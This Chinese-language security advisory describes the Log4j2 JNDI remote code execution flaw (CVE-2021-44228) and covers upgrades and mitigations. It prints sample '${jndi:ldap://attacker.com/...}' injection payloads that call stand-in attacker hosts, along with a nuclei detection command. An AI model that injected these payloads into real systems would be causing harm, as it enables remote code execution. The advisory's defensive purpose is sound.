ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVSS评分:10.0(满分)

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

  • 1. 漏洞原理
  • 2. 漏洞危害
  • 3. 漏洞修复
    • 升级版本修复
    • 缓释方案

1. 漏洞原理

Apache Log4j2 作为广泛使用的 Java 日志库,支持一种叫做Lookup(查找替换)的机制,用于在日志消息中动态注入变量或外部内容。

例如:

${jndi:ldap://malicious-server/exploit}

这是一个 JNDI Lookup 表达式,它让 Log4j 去调用 Java Naming and Directory Interface(JNDI) 去解析某个 URL。

然而,在受到漏洞影响的 Log4j 版本中,JNDI 查找可以从 LDAP、RMI、DNS 等远程服务器获取并执行代码。攻击 step:

  1. 攻击者构造 payload:例如 HTTP User‑Agent 或其他可被日志记录的字段包含${jndi:ldap://attacker.com/malicious}
  2. 目标应用接收请求
  3. Log4j 记录日志消息,发现字符串中的 JNDI Lookup
  4. JNDI 启动并向攻击者控制的服务器发起 LDAP(其他协议也可以)请求
  5. 攻击者服务器返回一个恶意 Java 类
  6. 恶意类被执行,导致任意代码执行(RCE)

检测方法(需要机器有出网的权限):

nuclei -u http://xxx.xxx.xxx/ -t nuclei-templates/http/cves/2021/CVE-2021-44228.yaml

2. 漏洞危害

微步标记,极度高危,应立刻修复:

3. 漏洞修复

升级版本修复

官方已发布修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

升级 Log4j 到修补版本:

  • 升级到 Log4j 2.16.0 或更高(2.15.0可能不稳定)
  • 更高版本(如 2.17.x)已彻底禁用了可能的远程 JNDI Lookup。

缓释方案

1、设置 JVM 系统变量或环境变量:

-Dlog4j2.formatMsgNoLookups=true

或者:

exportLOG4J_FORMAT_MSG_NO_LOOKUPS=true

这将阻止 Log4j 解析 Lookup 表达式,从而降低攻击面。

2、移除 JndiLookup 类

在无法升级时,可以手动从 JAR 包中移除 JNDI 代码:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这能阻止 JNDI Lookup 类被加载。

返回列表